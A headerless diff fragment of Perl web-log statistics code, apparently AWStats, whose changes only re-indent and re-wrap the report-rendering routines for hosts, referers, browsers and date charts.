$rest_p = $TotalPages - $total_p;
$rest_h = $TotalHits - $total_h;
$rest_k = $TotalBytes - $total_k;
- if ( $rest_u > 0
- || $rest_v > 0
- || $rest_p > 0
- || $rest_h > 0
- || $rest_k > 0 )
+ if ( $rest_u > 0
+ || $rest_v > 0
+ || $rest_p > 0
+ || $rest_h > 0
+ || $rest_k > 0 )
{ # All other domains (known or not)
print
"<tr><td width=\"$WIDTHCOLICON\"> </td><td colspan=\"2\" class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>";
# Show filter form
&ShowFormFilter( "hostfilter", $FilterIn{'host'},
- $FilterEx{'host'} );
+ $FilterEx{'host'} );
# Show hosts list
my $title = '';
my $count = 0;
if ( $HTMLOutput{'allhosts'} ) {
&BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'Host'}, \%_host_h,
- \%_host_p );
+ \%_host_p );
}
if ( $HTMLOutput{'lasthosts'} ) {
&BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'Host'}, \%_host_h,
- \%_host_l );
+ \%_host_l );
}
foreach my $key (@keylist) {
my $host = CleanXSS($key);
}
if ( $ShowHostsStats =~ /L/i ) {
print "<td>"
- . ( $_host_l{$key}
- ? Format_Date( $_host_l{$key}, 1 )
- : '-' )
+ . (
+ $_host_l{$key}
+ ? Format_Date( $_host_l{$key}, 1 )
+ : '-'
+ )
. "</td>";
}
print "</tr>\n";
$total_p = $total_h = $total_k = 0;
my $count = 0;
&BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'Host'}, \%_host_h,
- \%_host_p );
+ \%_host_p );
foreach my $key (@keylist) {
my $host = CleanXSS($key);
print "<tr><td class=\"aws\">$host</td>";
}
if ( $ShowHostsStats =~ /L/i ) {
print "<td>"
- . ( $_host_l{$key}
- ? Format_Date( $_host_l{$key}, 1 )
- : '-' )
+ . (
+ $_host_l{$key}
+ ? Format_Date( $_host_l{$key}, 1 )
+ : '-'
+ )
. "</td>";
}
print "</tr>\n";
my $count = 0;
if ( $HTMLOutput{'alllogins'} ) {
&BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'Host'},
- \%_login_h, \%_login_p );
+ \%_login_h, \%_login_p );
}
if ( $HTMLOutput{'lastlogins'} ) {
&BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'Host'},
- \%_login_h, \%_login_l );
+ \%_login_h, \%_login_l );
}
foreach my $key (@keylist) {
print "<tr><td class=\"aws\">$key</td>";
}
if ( $ShowAuthenticatedUsers =~ /L/i ) {
print "<td>"
- . ( $_login_l{$key}
- ? Format_Date( $_login_l{$key}, 1 )
- : '-' )
+ . (
+ $_login_l{$key}
+ ? Format_Date( $_login_l{$key}, 1 )
+ : '-'
+ )
. "</td>";
}
print "</tr>\n";
my $count = 0;
if ( $HTMLOutput{'allrobots'} ) {
&BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'Robot'},
- \%_robot_h, \%_robot_h );
+ \%_robot_h, \%_robot_h );
}
if ( $HTMLOutput{'lastrobots'} ) {
&BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'Robot'},
- \%_robot_h, \%_robot_l );
+ \%_robot_h, \%_robot_l );
}
foreach my $key (@keylist) {
print "<tr><td class=\"aws\">"
}
if ( $ShowRobotsStats =~ /L/i ) {
print "<td>"
- . ( $_robot_l{$key}
- ? Format_Date( $_robot_l{$key}, 1 )
- : '-' )
+ . (
+ $_robot_l{$key}
+ ? Format_Date( $_robot_l{$key}, 1 )
+ : '-'
+ )
. "</td>";
}
print "</tr>\n";
"* $Message[156]" . ( $TotalRRobots ? " $Message[157]" : "" ) );
&html_end(1);
}
- if ( $HTMLOutput{'urldetail'}
- || $HTMLOutput{'urlentry'}
- || $HTMLOutput{'urlexit'} )
+ if ( $HTMLOutput{'urldetail'}
+ || $HTMLOutput{'urlentry'}
+ || $HTMLOutput{'urlexit'} )
{
# Call to plugins' function ShowPagesFilter
my $count = 0;
if ( $HTMLOutput{'urlentry'} ) {
&BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'File'}, \%_url_e,
- \%_url_e );
+ \%_url_e );
}
elsif ( $HTMLOutput{'urlexit'} ) {
&BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'File'}, \%_url_x,
- \%_url_x );
+ \%_url_x );
}
else {
&BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'File'}, \%_url_p,
- \%_url_p );
+ \%_url_p );
}
$max_p = 1;
$max_k = 1;
if ( $max_k > 0 ) {
$bredde_k =
int( $BarWidth *
- ( ( $_url_k{$key} || 0 ) / ( $_url_p{$key} || 1 ) ) /
- $max_k ) + 1;
+ ( ( $_url_k{$key} || 0 ) / ( $_url_p{$key} || 1 ) ) /
+ $max_k ) + 1;
}
if ( ( $bredde_k == 1 ) && $_url_k{$key} ) { $bredde_k = 2; }
if ( $ShowPagesStats =~ /P/i ) {
if ( $ShowPagesStats =~ /B/i ) {
print "<td>"
. (
- $_url_k{$key}
- ? Format_Bytes(
- $_url_k{$key} / ( $_url_p{$key} || 1 )
- )
- : " "
+ $_url_k{$key}
+ ? Format_Bytes(
+ $_url_k{$key} / ( $_url_p{$key} || 1 )
+ )
+ : " "
)
. "</td>";
}
# Call to plugins' function ShowPagesAddField
foreach my $pluginname (
- keys %{ $PluginsLoaded{'ShowPagesAddField'} } )
+ keys %{ $PluginsLoaded{'ShowPagesAddField'} } )
{
# my $function="ShowPagesAddField_$pluginname('$key')";
}
if ( $ShowPagesStats =~ /B/i ) {
print "<td>"
- . ( $rest_k
- ? Format_Bytes( $rest_k / ( $rest_p || 1 ) )
- : " " )
+ . (
+ $rest_k
+ ? Format_Bytes( $rest_k / ( $rest_p || 1 ) )
+ : " "
+ )
. "</td>";
}
if ( $ShowPagesStats =~ /E/i ) {
# Call to plugins' function ShowPagesAddField
foreach my $pluginname (
- keys %{ $PluginsLoaded{'ShowPagesAddField'} } )
+ keys %{ $PluginsLoaded{'ShowPagesAddField'} } )
{
# my $function="ShowPagesAddField_$pluginname('')";
$total_l = 0;
my $count = 0;
&BuildKeyList( $MaxRowsInHTMLOutput, 1, \%_unknownreferer_l,
- \%_unknownreferer_l );
+ \%_unknownreferer_l );
foreach my $key (@keylist) {
my $useragent = XMLEncode( CleanXSS($key) );
print "<tr><td class=\"aws\">$useragent</td>";
$total_l = 0;
my $count = 0;
&BuildKeyList( $MaxRowsInHTMLOutput, 1, \%_unknownrefererbrowser_l,
- \%_unknownrefererbrowser_l );
+ \%_unknownrefererbrowser_l );
foreach my $key (@keylist) {
my $useragent = XMLEncode( CleanXSS($key) );
print "<tr><td class=\"aws\">$useragent</td><td>"
$total_h = 0;
my $count = 0;
&BuildKeyList( MinimumButNoZero( scalar keys %_os_h, 500 ),
- 1, \%_os_h, \%_os_h );
+ 1, \%_os_h, \%_os_h );
my %keysinkeylist = ();
$max_h = 1;
$total_h = 0;
my $count = 0;
&BuildKeyList( MinimumButNoZero( scalar keys %_browser_h, 500 ),
- 1, \%_browser_h, \%_browser_h );
+ 1, \%_browser_h, \%_browser_h );
my %keysinkeylist = ();
$max_h = 1;
}
# Write records grouped in a browser family
- foreach my $family (
- sort {
- $BrowsersFamily{$a} <=> $BrowsersFamily{$b}
- } keys %BrowsersFamily
- )
+ foreach
+ my $family ( sort { $BrowsersFamily{$a} <=> $BrowsersFamily{$b} }
+ keys %BrowsersFamily )
{
my $p = ' ';
if ($total_h) {
$p = "$p %";
}
my $familyheadershown = 0;
+
#foreach my $key ( reverse sort keys %_browser_h ) {
- foreach my $key (reverse sort SortBrowsers keys %_browser_h)
- {
+ foreach my $key ( reverse sort SortBrowsers keys %_browser_h ) {
if ( $key =~ /^$family(.*)/i ) {
if ( !$familyheadershown ) {
print
. ucfirst($family) . " "
. ( $ver ? "$ver" : "?" ) . "</td>";
print "<td>"
- . ( $BrowsersHereAreGrabbers{$family}
- ? "<b>$Message[112]</b>"
- : "$Message[113]" )
+ . (
+ $BrowsersHereAreGrabbers{$family}
+ ? "<b>$Message[112]</b>"
+ : "$Message[113]"
+ )
. "</td>";
my $bredde_h = 0;
if ( $max_h > 0 ) {
$bredde_h =
int( $BarWidth * ( $_browser_h{$key} || 0 ) /
- $max_h ) + 1;
+ $max_h ) + 1;
}
if ( ( $bredde_h == 1 ) && $_browser_h{$key} ) {
$bredde_h = 2;
. "><img src=\"$DirIcons\/browser\/$nameicon.png\""
. AltTitle("")
. " /></td><td class=\"aws\">$libbrowser</td><td>"
- . ( $BrowsersHereAreGrabbers{$key}
- ? "<b>$Message[112]</b>"
- : "$Message[113]" )
+ . (
+ $BrowsersHereAreGrabbers{$key}
+ ? "<b>$Message[112]</b>"
+ : "$Message[113]"
+ )
. "</td>";
}
my $bredde_h = 0;
$total_s = 0;
my $count = 0;
&BuildKeyList(
- $MaxRowsInHTMLOutput,
- $MinHit{'Refer'},
- \%_se_referrals_h,
- (
- ( scalar keys %_se_referrals_p )
- ? \%_se_referrals_p
- : \%_se_referrals_h
- )
+ $MaxRowsInHTMLOutput,
+ $MinHit{'Refer'},
+ \%_se_referrals_h,
+ (
+ ( scalar keys %_se_referrals_p )
+ ? \%_se_referrals_p
+ : \%_se_referrals_h
+ )
); # before 5.4 only hits were recorded
foreach my $key (@keylist) {
if ($TotalSearchEnginesPages) {
$p_p =
int( $_se_referrals_p{$key} / $TotalSearchEnginesPages *
- 1000 ) / 10;
+ 1000 ) / 10;
}
if ($TotalSearchEnginesHits) {
$p_h =
int( $_se_referrals_h{$key} / $TotalSearchEnginesHits *
- 1000 ) / 10;
+ 1000 ) / 10;
}
print "<tr><td class=\"aws\">$newreferer</td>";
print "<td>"
# Show filter form
&ShowFormFilter(
- "refererpagesfilter",
- $FilterIn{'refererpages'},
- $FilterEx{'refererpages'}
+ "refererpagesfilter",
+ $FilterIn{'refererpages'},
+ $FilterEx{'refererpages'}
);
my $title = "$Message[41]";
my $cpt = 0;
$total_s = 0;
my $count = 0;
&BuildKeyList(
- $MaxRowsInHTMLOutput,
- $MinHit{'Refer'},
- \%_pagesrefs_h,
- (
- ( scalar keys %_pagesrefs_p )
- ? \%_pagesrefs_p
- : \%_pagesrefs_h
- )
+ $MaxRowsInHTMLOutput,
+ $MinHit{'Refer'},
+ \%_pagesrefs_h,
+ (
+ ( scalar keys %_pagesrefs_p )
+ ? \%_pagesrefs_p
+ : \%_pagesrefs_h
+ )
);
foreach my $key (@keylist) {
. "><th>$TotalDifferentKeyphrases $Message[103]</th><th bgcolor=\"#$color_s\" width=\"80\">$Message[14]</th><th bgcolor=\"#$color_s\" width=\"80\">$Message[15]</th></tr>\n";
$total_s = 0;
my $count = 0;
- &BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'Keyphrase'},
- \%_keyphrases, \%_keyphrases );
- foreach my $key (@keylist)
- {
+ &BuildKeyList(
+ $MaxRowsInHTMLOutput, $MinHit{'Keyphrase'},
+ \%_keyphrases, \%_keyphrases
+ );
+ foreach my $key (@keylist) {
my $mot;
- # Convert coded keywords (utf8,...) to be correctly reported in HTML page.
+ # Convert coded keywords (utf8,...) to be correctly reported in HTML page.
if ( $PluginsLoaded{'DecodeKey'}{'decodeutfkeys'} ) {
$mot = CleanXSS(
- DecodeKey_decodeutfkeys(
- $key, $PageCode || 'iso-8859-1'
- )
+ DecodeKey_decodeutfkeys(
+ $key, $PageCode || 'iso-8859-1'
+ )
);
}
else { $mot = CleanXSS( DecodeEncodedString($key) ); }
$total_s = 0;
my $count = 0;
&BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'Keyword'},
- \%_keywords, \%_keywords );
+ \%_keywords, \%_keywords );
foreach my $key (@keylist) {
my $mot;
- # Convert coded keywords (utf8,...) to be correctly reported in HTML page.
+ # Convert coded keywords (utf8,...) to be correctly reported in HTML page.
if ( $PluginsLoaded{'DecodeKey'}{'decodeutfkeys'} ) {
$mot = CleanXSS(
- DecodeKey_decodeutfkeys(
- $key, $PageCode || 'iso-8859-1'
- )
+ DecodeKey_decodeutfkeys(
+ $key, $PageCode || 'iso-8859-1'
+ )
);
}
else { $mot = CleanXSS( DecodeEncodedString($key) ); }
$total_h = 0;
my $count = 0;
&BuildKeyList( $MaxRowsInHTMLOutput, 1, \%_sider404_h,
- \%_sider404_h );
+ \%_sider404_h );
foreach my $key (@keylist) {
my $nompage = XMLEncode( CleanXSS($key) );
my $count = 0;
if ( $ExtraStatTypes[$extranum] =~ m/P/i ) {
&BuildKeyList(
- $MaxRowsInHTMLOutput,
- $MinHitExtra[$extranum],
- \%{ '_section_' . $extranum . '_h' },
- \%{ '_section_' . $extranum . '_p' }
+ $MaxRowsInHTMLOutput,
+ $MinHitExtra[$extranum],
+ \%{ '_section_' . $extranum . '_h' },
+ \%{ '_section_' . $extranum . '_p' }
);
}
else {
&BuildKeyList(
- $MaxRowsInHTMLOutput,
- $MinHitExtra[$extranum],
- \%{ '_section_' . $extranum . '_h' },
- \%{ '_section_' . $extranum . '_h' }
+ $MaxRowsInHTMLOutput,
+ $MinHitExtra[$extranum],
+ \%{ '_section_' . $extranum . '_h' },
+ \%{ '_section_' . $extranum . '_h' }
);
}
my %keysinkeylist = ();
if ( $ExtraStatTypes[$extranum] =~ m/B/i ) {
print "<td>"
. Format_Bytes(
- ${ '_section_' . $extranum . '_k' }{$key} )
+ ${ '_section_' . $extranum . '_k' }{$key} )
. "</td>";
}
if ( $ExtraStatTypes[$extranum] =~ m/L/i ) {
print "<td>"
. (
- ${ '_section_' . $extranum . '_l' }{$key}
- ? Format_Date(
- ${ '_section_' . $extranum . '_l' }{$key}, 1 )
- : '-'
+ ${ '_section_' . $extranum . '_l' }{$key}
+ ? Format_Date(
+ ${ '_section_' . $extranum . '_l' }{$key}, 1 )
+ : '-'
)
. "</td>";
}
}
# If we ask average or sum, we loop on all other records
- if ( $ExtraAddAverageRow[$extranum]
- || $ExtraAddSumRow[$extranum] )
+ if ( $ExtraAddAverageRow[$extranum]
+ || $ExtraAddSumRow[$extranum] )
{
foreach ( keys %{ '_section_' . $extranum . '_h' } ) {
if ( $keysinkeylist{$_} ) { next; }
}
if ( $ExtraStatTypes[$extranum] =~ m/B/i ) {
print "<td>"
- . ( $count
- ? Format_Bytes( $total_k / $count )
- : " " )
+ . (
+ $count
+ ? Format_Bytes( $total_k / $count )
+ : " "
+ )
. "</td>";
}
if ( $ExtraStatTypes[$extranum] =~ m/L/i ) {
if ( $TotalVisits > 0 ) {
$RatioBytes =
int( ( $TotalBytes / 1024 ) * 100 /
- ( $LogType eq 'M' ? $TotalHits : $TotalVisits ) ) / 100;
+ ( $LogType eq 'M' ? $TotalHits : $TotalVisits ) ) / 100;
}
my $colspan = 5;
"<td class=\"aws\"><b>$Message[133]</b></td><td class=\"aws\" colspan=\""
. ( $colspan - 1 ) . "\">\n";
print( $MonthRequired eq 'all'
- ? "$Message[6] $YearRequired"
- : "$Message[5] "
- . $MonthNumLib{$MonthRequired}
- . " $YearRequired" );
+ ? "$Message[6] $YearRequired"
+ : "$Message[5] "
+ . $MonthNumLib{$MonthRequired}
+ . " $YearRequired"
+ );
print "</td></tr>\n";
print "<tr bgcolor=\"#$color_TableBGRowTitle\">";
print "<td class=\"aws\"><b>$Message[8]</b></td>\n";
print "<td> <br /> </td>\n";
if ( $ShowSummary =~ /H/i ) {
print "<td><b>$TotalHits</b>"
- . ( $LogType eq 'M'
- ? ""
- : "<br />($RatioHits "
- . lc( $Message[57] . "/" . $Message[12] )
- . ")" )
+ . (
+ $LogType eq 'M'
+ ? ""
+ : "<br />($RatioHits "
+ . lc( $Message[57] . "/" . $Message[12] ) . ")"
+ )
. "</td>";
}
else { print "<td> </td>"; }
}
if ( $ShowSummary =~ /U/i ) {
print "<td>"
- . ( $MonthRequired eq 'all'
- ? "<b><= $TotalUnique</b><br />$Message[129]"
- : "<b>$TotalUnique</b><br /> " )
+ . (
+ $MonthRequired eq 'all'
+ ? "<b><= $TotalUnique</b><br />$Message[129]"
+ : "<b>$TotalUnique</b><br /> "
+ )
. "</td>";
}
else { print "<td> </td>"; }
else { print "<td> </td>"; }
if ( $ShowSummary =~ /H/i ) {
print "<td><b>$TotalHits</b>"
- . ( $LogType eq 'M'
- ? ""
- : "<br />($RatioHits "
- . $Message[57] . "/"
- . $Message[12]
- . ")" )
+ . (
+ $LogType eq 'M'
+ ? ""
+ : "<br />($RatioHits "
+ . $Message[57] . "/"
+ . $Message[12] . ")"
+ )
. "</td>";
}
else { print "<td> </td>"; }
}
print "</tr>\n";
}
- &tab_end( $LogType eq 'W'
- || $LogType eq 'S' ? "* $Message[159]" : "" );
+ &tab_end($LogType eq 'W'
+ || $LogType eq 'S' ? "* $Message[159]" : "" );
}
# BY MONTH
"$MonthNumLib{$monthix}\�$YearRequired";
}
my @vallabel = (
- "$Message[11]", "$Message[10]",
- "$Message[56]", "$Message[57]",
- "$Message[75]"
+ "$Message[11]", "$Message[10]",
+ "$Message[56]", "$Message[57]",
+ "$Message[75]"
);
my @valcolor =
( "$color_u", "$color_v", "$color_p", "$color_h",
|| 0;
}
ShowGraph_graphapplet(
- "$title", "month",
- $ShowMonthStats, \@blocklabel,
- \@vallabel, \@valcolor,
- \@valmax, \@valtotal,
- \@valaverage, \@valdata
+ "$title", "month",
+ $ShowMonthStats, \@blocklabel,
+ \@vallabel, \@valcolor,
+ \@valmax, \@valtotal,
+ \@valaverage, \@valdata
);
}
else {
if ( $max_v > 0 ) {
$bredde_u =
int(
- ( $MonthUnique{ $YearRequired . $monthix } || 0 ) /
- $max_v * $BarHeight ) + 1;
+ ( $MonthUnique{ $YearRequired . $monthix } || 0 ) /
+ $max_v * $BarHeight ) + 1;
}
if ( $max_v > 0 ) {
$bredde_v =
int(
- ( $MonthVisits{ $YearRequired . $monthix } || 0 ) /
- $max_v * $BarHeight ) + 1;
+ ( $MonthVisits{ $YearRequired . $monthix } || 0 ) /
+ $max_v * $BarHeight ) + 1;
}
if ( $max_h > 0 ) {
$bredde_p =
int(
- ( $MonthPages{ $YearRequired . $monthix } || 0 ) /
- $max_h * $BarHeight ) + 1;
+ ( $MonthPages{ $YearRequired . $monthix } || 0 ) /
+ $max_h * $BarHeight ) + 1;
}
if ( $max_h > 0 ) {
$bredde_h =
int( ( $MonthHits{ $YearRequired . $monthix } || 0 ) /
- $max_h * $BarHeight ) + 1;
+ $max_h * $BarHeight ) + 1;
}
if ( $max_k > 0 ) {
$bredde_k =
int(
- ( $MonthBytes{ $YearRequired . $monthix } || 0 ) /
- $max_k * $BarHeight ) + 1;
+ ( $MonthBytes{ $YearRequired . $monthix } || 0 ) /
+ $max_k * $BarHeight ) + 1;
}
print "<td>";
if ( $ShowMonthStats =~ /U/i ) {
print
"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vu'}\" height=\"$bredde_u\" width=\"6\""
. AltTitle( "$Message[11]: "
- . ( $MonthUnique{ $YearRequired . $monthix }
- || 0 ) )
+ . ( $MonthUnique{ $YearRequired . $monthix }
+ || 0 ) )
. " />";
}
if ( $ShowMonthStats =~ /V/i ) {
print
"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vv'}\" height=\"$bredde_v\" width=\"6\""
. AltTitle( "$Message[10]: "
- . ( $MonthVisits{ $YearRequired . $monthix }
- || 0 ) )
+ . ( $MonthVisits{ $YearRequired . $monthix }
+ || 0 ) )
. " />";
}
if ( $ShowMonthStats =~ /P/i ) {
print
"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vh'}\" height=\"$bredde_h\" width=\"6\""
. AltTitle( "$Message[57]: "
- . ( $MonthHits{ $YearRequired . $monthix } || 0 )
+ . ( $MonthHits{ $YearRequired . $monthix } || 0 )
)
. " />";
}
print
"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vk'}\" height=\"$bredde_k\" width=\"6\""
. AltTitle(
- "$Message[75]: "
- . Format_Bytes(
- $MonthBytes{ $YearRequired . $monthix }
- )
+ "$Message[75]: "
+ . Format_Bytes(
+ $MonthBytes{ $YearRequired . $monthix }
+ )
)
. " />";
}
# }
# else {
print "<td>"
- . ( !$StaticLinks
- && $monthix == $nowmonth
- && $YearRequired == $nowyear
- ? '<font class="currentday">'
- : '' );
+ . (
+ !$StaticLinks
+ && $monthix == $nowmonth
+ && $YearRequired == $nowyear
+ ? '<font class="currentday">'
+ : ''
+ );
print "$MonthNumLib{$monthix}<br />$YearRequired";
- print( !$StaticLinks
- && $monthix == $nowmonth
- && $YearRequired == $nowyear ? '</font>' : '' );
+ print( !$StaticLinks
+ && $monthix == $nowmonth
+ && $YearRequired == $nowyear ? '</font>' : '' );
print "</td>";
# }
my $monthix = sprintf( "%02s", $ix );
print "<tr>";
print "<td>"
- . ( !$StaticLinks
- && $monthix == $nowmonth
- && $YearRequired == $nowyear
- ? '<font class="currentday">'
- : '' );
+ . (
+ !$StaticLinks
+ && $monthix == $nowmonth
+ && $YearRequired == $nowyear
+ ? '<font class="currentday">'
+ : ''
+ );
print "$MonthNumLib{$monthix} $YearRequired";
- print( !$StaticLinks
- && $monthix == $nowmonth
- && $YearRequired == $nowyear ? '</font>' : '' );
+ print( !$StaticLinks
+ && $monthix == $nowmonth
+ && $YearRequired == $nowyear ? '</font>' : '' );
print "</td>";
if ( $ShowMonthStats =~ /U/i ) {
print "<td>",
if ( $ShowMonthStats =~ /B/i ) {
print "<td>",
Format_Bytes(
- int( $MonthBytes{ $YearRequired . $monthix } || 0 )
+ int( $MonthBytes{ $YearRequired . $monthix } || 0 )
), "</td>";
}
print "</tr>\n";
# Define average
foreach my $daycursor (
- $firstdaytocountaverage .. $lastdaytocountaverage )
+ $firstdaytocountaverage .. $lastdaytocountaverage )
{
$daycursor =~ /^(\d\d\d\d)(\d\d)(\d\d)/;
my $year = $1;
next;
} # If not an existing day, go to next
my $bold =
- ( $day == $nowday
- && $month == $nowmonth
- && $year == $nowyear ? ':' : '' );
+ ( $day == $nowday
+ && $month == $nowmonth
+ && $year == $nowyear ? ':' : '' );
my $weekend =
( DayOfWeek( $day, $month, $year ) =~ /[06]/ ? '!' : '' );
push @blocklabel,
"$day�$MonthNumLib{$month}$weekend$bold";
}
my @vallabel = (
- "$Message[10]", "$Message[56]",
- "$Message[57]", "$Message[75]"
+ "$Message[10]", "$Message[56]",
+ "$Message[57]", "$Message[75]"
);
my @valcolor =
( "$color_v", "$color_p", "$color_h", "$color_k" );
$average_p = sprintf( "%.2f", $average_p );
$average_h = sprintf( "%.2f", $average_h );
$average_k = (
- int($average_k)
- ? Format_Bytes( sprintf( "%.2f", $average_k ) )
- : "0.00" );
+ int($average_k)
+ ? Format_Bytes( sprintf( "%.2f", $average_k ) )
+ : "0.00"
+ );
my @valaverage =
( $average_v, $average_p, $average_h, $average_k );
my @valdata = ();
$valdata[ $xx++ ] = $DayBytes{ $year . $month . $day } || 0;
}
ShowGraph_graphapplet(
- "$title", "daysofmonth",
- $ShowDaysOfMonthStats, \@blocklabel,
- \@vallabel, \@valcolor,
- \@valmax, \@valtotal,
- \@valaverage, \@valdata
+ "$title", "daysofmonth",
+ $ShowDaysOfMonthStats, \@blocklabel,
+ \@vallabel, \@valcolor,
+ \@valmax, \@valtotal,
+ \@valaverage, \@valdata
);
}
else {
if ( $max_v > 0 ) {
$bredde_v =
int( ( $DayVisits{ $year . $month . $day } || 0 ) /
- $max_v * $BarHeight ) + 1;
+ $max_v * $BarHeight ) + 1;
}
if ( $max_h > 0 ) {
$bredde_p =
int( ( $DayPages{ $year . $month . $day } || 0 ) /
- $max_h * $BarHeight ) + 1;
+ $max_h * $BarHeight ) + 1;
}
if ( $max_h > 0 ) {
$bredde_h =
int( ( $DayHits{ $year . $month . $day } || 0 ) /
- $max_h * $BarHeight ) + 1;
+ $max_h * $BarHeight ) + 1;
}
if ( $max_k > 0 ) {
$bredde_k =
int( ( $DayBytes{ $year . $month . $day } || 0 ) /
- $max_k * $BarHeight ) + 1;
+ $max_k * $BarHeight ) + 1;
}
print "<td>";
if ( $ShowDaysOfMonthStats =~ /V/i ) {
print
"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vv'}\" height=\"$bredde_v\" width=\"4\""
. AltTitle( "$Message[10]: "
- . int( $DayVisits{ $year . $month . $day } || 0 )
+ . int( $DayVisits{ $year . $month . $day } || 0 )
)
. " />";
}
print
"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vh'}\" height=\"$bredde_h\" width=\"4\""
. AltTitle( "$Message[57]: "
- . int( $DayHits{ $year . $month . $day } || 0 ) )
+ . int( $DayHits{ $year . $month . $day } || 0 ) )
. " />";
}
if ( $ShowDaysOfMonthStats =~ /B/i ) {
print
"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vk'}\" height=\"$bredde_k\" width=\"4\""
. AltTitle(
- "$Message[75]: "
- . Format_Bytes(
- $DayBytes{ $year . $month . $day }
- )
+ "$Message[75]: "
+ . Format_Bytes(
+ $DayBytes{ $year . $month . $day }
+ )
)
. " />";
}
$average_p = sprintf( "%.2f", $average_p );
$average_h = sprintf( "%.2f", $average_h );
$average_k = (
- int($average_k)
- ? Format_Bytes( sprintf( "%.2f", $average_k ) )
- : "0.00" );
+ int($average_k)
+ ? Format_Bytes( sprintf( "%.2f", $average_k ) )
+ : "0.00"
+ );
if ( $ShowDaysOfMonthStats =~ /V/i ) {
print
"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vv'}\" height=\"$bredde_v\" width=\"4\""
} # If not an existing day, go to next
my $dayofweekcursor = DayOfWeek( $day, $month, $year );
print "<td"
- . ( $dayofweekcursor =~ /[06]/
- ? " bgcolor=\"#$color_weekend\""
- : "" )
+ . (
+ $dayofweekcursor =~ /[06]/
+ ? " bgcolor=\"#$color_weekend\""
+ : ""
+ )
. ">";
- print( !$StaticLinks
- && $day == $nowday
- && $month == $nowmonth
- && $year == $nowyear
- ? '<font class="currentday">'
- : '' );
+ print(
+ !$StaticLinks
+ && $day == $nowday
+ && $month == $nowmonth
+ && $year == $nowyear
+ ? '<font class="currentday">'
+ : ''
+ );
print "$day<br /><span style=\"font-size: "
. ( $FrameName ne 'mainright'
&& $QueryString !~ /buildpdf/i ? "9" : "8" )
. "px;\">"
. $MonthNumLib{$month}
. "</span>";
- print( !$StaticLinks
- && $day == $nowday
- && $month == $nowmonth
- && $year == $nowyear ? '</font>' : '' );
+ print( !$StaticLinks
+ && $day == $nowday
+ && $month == $nowmonth
+ && $year == $nowyear ? '</font>' : '' );
print "</td>\n";
}
print "<td> </td>";
} # If not an existing day, go to next
my $dayofweekcursor = DayOfWeek( $day, $month, $year );
print "<tr"
- . ( $dayofweekcursor =~ /[06]/
- ? " bgcolor=\"#$color_weekend\""
- : "" )
+ . (
+ $dayofweekcursor =~ /[06]/
+ ? " bgcolor=\"#$color_weekend\""
+ : ""
+ )
. ">";
print "<td>"
- . ( !$StaticLinks
- && $day == $nowday
- && $month == $nowmonth
- && $year == $nowyear
- ? '<font class="currentday">'
- : '' );
+ . (
+ !$StaticLinks
+ && $day == $nowday
+ && $month == $nowmonth
+ && $year == $nowyear
+ ? '<font class="currentday">'
+ : ''
+ );
print Format_Date( "$year$month$day" . "000000", 2 );
- print( !$StaticLinks
- && $day == $nowday
- && $month == $nowmonth
- && $year == $nowyear ? '</font>' : '' );
+ print( !$StaticLinks
+ && $day == $nowday
+ && $month == $nowmonth
+ && $year == $nowyear ? '</font>' : '' );
print "</td>";
if ( $ShowDaysOfMonthStats =~ /V/i ) {
print "<td>",
if ( $ShowDaysOfMonthStats =~ /B/i ) {
print "<td>",
Format_Bytes(
- int( $DayBytes{ $year . $month . $day } || 0 ) ),
+ int( $DayBytes{ $year . $month . $day } || 0 ) ),
"</td>";
}
print "</tr>\n";
my @avg_dayofweek_h = ();
my @avg_dayofweek_k = ();
foreach my $daycursor (
- $firstdaytocountaverage .. $lastdaytocountaverage )
+ $firstdaytocountaverage .. $lastdaytocountaverage )
{
$daycursor =~ /^(\d\d\d\d)(\d\d)(\d\d)/;
my $year = $1;
$average_p = sprintf( "%.2f", $average_p );
$average_h = sprintf( "%.2f", $average_h );
$average_k = (
- int($average_k)
- ? Format_Bytes( sprintf( "%.2f", $average_k ) )
- : "0.00" );
+ int($average_k)
+ ? Format_Bytes( sprintf( "%.2f", $average_k ) )
+ : "0.00"
+ );
my @valaverage = ( $average_p, $average_h, $average_k );
my @valdata = ();
my $xx = 0;
}
}
ShowGraph_graphapplet(
- "$title", "daysofweek",
- $ShowDaysOfWeekStats, \@blocklabel,
- \@vallabel, \@valcolor,
- \@valmax, \@valtotal,
- \@valaverage, \@valdata
+ "$title", "daysofweek",
+ $ShowDaysOfWeekStats, \@blocklabel,
+ \@vallabel, \@valcolor,
+ \@valmax, \@valtotal,
+ \@valaverage, \@valdata
);
}
else {
my $bredde_k = 0;
if ( $max_h > 0 ) {
$bredde_p = int(
- (
- $avg_dayofweek_p[$_] ne '?'
- ? $avg_dayofweek_p[$_]
- : 0
- ) / $max_h * $BarHeight
+ (
+ $avg_dayofweek_p[$_] ne '?'
+ ? $avg_dayofweek_p[$_]
+ : 0
+ ) / $max_h * $BarHeight
) + 1;
}
if ( $max_h > 0 ) {
$bredde_h = int(
- (
- $avg_dayofweek_h[$_] ne '?'
- ? $avg_dayofweek_h[$_]
- : 0
- ) / $max_h * $BarHeight
+ (
+ $avg_dayofweek_h[$_] ne '?'
+ ? $avg_dayofweek_h[$_]
+ : 0
+ ) / $max_h * $BarHeight
) + 1;
}
if ( $max_k > 0 ) {
$bredde_k = int(
- (
- $avg_dayofweek_k[$_] ne '?'
- ? $avg_dayofweek_k[$_]
- : 0
- ) / $max_k * $BarHeight
+ (
+ $avg_dayofweek_k[$_] ne '?'
